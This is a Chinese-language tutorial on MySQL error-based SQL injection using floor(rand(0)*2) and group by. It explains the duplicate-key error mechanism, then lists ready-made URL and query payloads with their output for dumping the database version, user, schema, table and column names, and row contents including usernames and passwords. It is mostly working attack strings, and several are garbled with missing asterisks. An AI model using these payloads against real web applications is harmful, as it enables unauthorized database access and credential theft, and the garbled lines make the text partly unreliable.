0x01 Floor 报错语句的原理:
select count(),(concat(floor(rand(0)2),’@’,(select version())))x from users group by x;
我们现在从最里向外分析整条语句.先从floor(rand(0)*2) 开始
- rand() 函数会随机产生0,1 之间的浮点数
- rand() 函数可以自己设置随机种子,即rand(n) ,这个时候产生的随机数都是伪随机数,我们多次生成的结果是相同的。
- floor(N) 函数会返回一个小于或等于传入参数N的最大整数(相当于截断小数部分)
我们就返回rand函数的伪随机数,再用floor 函数进行取整
- concat 函数将字符串拼接起来
- group by a 会根据 a 的规则对数据进行分组,而分组的手,mysql会建立一个临时表(虚拟表)进行分组
select count(),(concat(floor(rand(0)2),’@’,(select version())))x from users group by x;
mysql执行结果,会产生 011011 这个序列,group by时,会建立空虚拟表如下图,然后从sql语句执行结果序列(011011)读取数据并插入虚表:
key | value |
---|---|
(1)虚表写入第一条记录,执行floor(rand(0)*2),发现结果为0(此时为第一次计算)
操作 | key | floor(rand(0)*2) | count(*) |
---|---|---|---|
取第一条记录 | 0 |
(2)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(此时为第二次计算),插入虚表,第一条记录插入完毕,结果为1。如下图:
操作 | key | floor(rand(0)*2) | count(*) |
---|---|---|---|
取第一条记录 | 0 | ||
插入记录 | 1 | 1 | 1 |
(3)虚表写入第二条记录,再次计算floor(rand(0)2),发现结果为1(此时为第三次计算),此时结算结果为1,所以floor(rand(0)2)不会被计算,直接count()加1,第二条记录写入完毕。(5)查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
操作 | key | floor(rand(0)*2) | count(*) |
---|---|---|---|
取第一条记录 | 0 | ||
插入记录 | 1 | 1 | 1 |
取第二条记录,不用插入 | 1 | 1 | 2 |
(4)虚表写入第三条记录,再次计算floor(rand(0)2),发现结果为0(此时为第4次计算),计算结果为0,此时虚表中没有0的数据记录,则执行插入该数据,插入时会再次计算floor(rand(0)2)(此时为第5次计算),计算结果为1。然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以就产生了主键冲突的错误,也就是:Duplicate entry 的报错。
操作 | key | floor(rand(0)*2) | count(*) |
---|---|---|---|
取第一条记录 | 0 | ||
插入记录 | 1 | 1 | 1 |
取第二条记录,不用插入 | 1 | 1 | 2 |
取第三条记录 | 0 | ||
插入记录 | 1? | 1 |
最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。如图:
0x02 爆数据库版本
web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
数据库语句: select from users where id =1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '~5.7.26~1' for key '<group_key>'
# 简单的分析下这段sql语句
select count(*),(concat(floor(rand(0)*2),'@',(select version())))x from users group by x;
这个是最初的一个报错语句
这个是floor起那面的语句执行的结果,是不是有点熟悉,
mysql> (select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1);
+--------------------------------------------+
| (select (select concat(0x7e,user(),0x7e))) |
+--------------------------------------------+
| ~root@localhost~ |
+--------------------------------------------+
1 row in set (0.00 sec)
把这个作为别名x,再去从information.tables中查询值
select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))
再把这个值作为order by 的一个排序条件x
把下面这个语句再起一个别名a ,然后查询 select 1 from a
(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x);
0x03 爆当前连接用户
web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
数据库语句: select from users where id =1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key '<group_key>'
0x03 爆当前连接的数据库
web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
数据库语句: select from users where id =1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '~saining~1' for key '<group_key>'
0x04 爆库名
注意: LIMIT 0 修改会显示其他库名
例如:
修改为0 就是出1库
修改为1 就是出2库
web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
数据库语句-爆库名1: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
数据库语句-爆库名2: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
mysql> select * from users where id =1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '~information_schema~1' for key '<group_key>'
0x05 爆表名
注意: table_schema=xxx 修改为其他库会爆出其他库的数据
例如:
table_schema=database() 会获取当前连接的库数据
table_schema=’test’ 会获取test库数据
注意: LIMIT 0 修改会爆出不同的表名
例如:
修改为0 就是出1表
修改为1 就是出2表
web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
数据库语句-爆当前库的第一张表名: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
数据库语句-爆当前库的第二张表名: select from users where id =1 and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
select * from users where id =1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '~users~1' for key '<group_key>'
0x06 暴字段
table_schema = “xx” 要爆的数据库名
table_name = “xx” 要爆的表名
limit 0 表示要爆的位置
例如:
表tdb_admin的字段为 id,usernam,password
limit 0 = id
limit 1 = username
limit 2 = password
web语句: http://www.test.com/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=’test’ and table_name=’tdb_admin’ limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
数据库语句-爆test库 tdb_admin表的字段名:
select from users WHERE id = 1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
mysql> select * from users WHERE id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '~id~1' for key '<group_key>'
0x07 爆内容
注意: limit 0 表示要显示那一条数据
limit 0 表示第一条
limit 1 表示第二条
web语句: http://www.test.com/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
数据库语句: select from users WHERE id = 1 and(select 1 from(select count(),concat((select (select (select concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
mysql> select * from users WHERE id = 1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,id,0x3a,username,0x3a,password,0x7e))) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '~1:Dumb:Dumb~1' for key '<group_key>'